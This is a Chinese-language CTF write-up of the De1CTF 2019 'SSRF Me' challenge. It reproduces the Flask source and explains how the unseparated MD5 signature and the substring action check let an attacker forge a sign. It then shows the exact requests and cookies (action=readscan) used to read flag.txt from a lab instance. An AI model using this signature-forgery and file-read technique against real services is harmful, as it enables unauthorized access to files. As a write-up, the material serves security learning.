[De1CTF 2019]SSRF Me

今天 你也学废了吗

知识点

python架构的web

审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

说实话 这个整理过程挺阴间的 不过可以去美化网站先美化一点 这可能是我做的第一个pythonweb的题 为什么第一题就这么难 分部分好好审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

首先定义了一个Exec函数 注意 这里判断action的是in 不是= 所以如果我们的action=scanread 那么我们就可以按顺序执行Exec里面的两个部分 scan部分是用urlopen搜索我们传入的param 并读他 之后将文件的内容传入result.txt 而read部分是把result.txt里面的内容赋值给result 反正会返回result 所以就相当于打印出result.txt 如果能利用 那就能读flag 所以action基本上就定了是scanread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

//Exec函数一开始调用的checkSign
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

然后向下看到俩路由 为了方便看我把相关函数也贴到下面了 geneSign路由下面很简单 就不说了 然后是De1ta路由 注意 传过去的action和sign是从cookies传的 注意到getSign函数 意思是MD5那些值 但是他没有在各值之间加上什么分隔符号 而是直接将他们拼在一起 举个例子

1
2
param=flag.txtread action=scan
param=flag.txt action=readscan

表面上看我们传的东西不一样 但是他们return的md5值是一样的 原因是那个secret_key虽然不知道 但是毕竟是个定值 所以其实这个函数还是可以利用得 而且注意看这个函数名 getSign() 可以猜测 return的就是我们下一步在De1ta里面传的sign checkSign目前就是个判断 还不知道怎么利用 先试着在/geneSign下传一下param 返回了一个md5值 基本上确定了return的就是sign

思路

首先我们在geneSign里面传的param肯定是flag.txt了 (你打ctf不就是为了这个嘛.jpg) 但是要注意 geneSign里面 主动把action赋值给了scan 在我们刚刚的思路里action必须是readscan两者都有 于是想到了刚刚那个md5里面的字符串 是以拼接的方法 那么如果我们传入的param=flag.txtread 那么拼接上后面的action 就能让action变成readscan了 有的人肯定在问 如果传的param=flag.txtread 注意 不是在这里读flag 所以param可以=flag.txtread

1
2
3
4
5
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

这个判断都有印象 只有这个判断为True 才会进行接下来的Exec() 这部分慢慢说 有一点绕

1
2
getSign(self.action, self.param) == self.sign
hashlib.md5(secert_key + param + action).hexdigest() == 我们传入的sign

表面上看不行 但是再仔细一看 这判断了个寂寞啊 我们传入的sign其实也是

1
hashlib.md5(secert_key + param + action).hexdigest()

只不过param=flag.txtread action是scan

而我们如果在/De1ta里面传入param=flag.txt action=readscan 就根本不需要管那个secret_key了 因为已经是两个完全相等的md5了 因为里面拼接之后的字符串都是

1
secret_keyflag.txtreadscan

OK题目解决了 剩下的就是发包了

日题

首先先是在geneSign下面发一个param=flag.txtread

payload:

1
http://89edbcb5-5645-49ad-a6b4-d548054ca38a.node3.buuoj.cn/geneSign?param=flag.txtread

返回了一个哈希 就是我们要的sign

1
fabfbcfad73905149161b73dbcad40a0

然后我们抓包 在/De1ta下改cookies

1
2
3
4
5
6
7
8
9
10
GET /De1ta?param=flag.txt HTTP/1.1
Host: 89edbcb5-5645-49ad-a6b4-d548054ca38a.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: action=readscan;sign=fabfbcfad73905149161b73dbcad40a0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

成功拿到flag

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: openresty
Date: Thu, 04 Mar 2021 01:56:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 69
Connection: close

{"code": 200, "data": "flag{48d37fd5-7535-4d6a-abd1-ec4b63372326}\n"}

EOF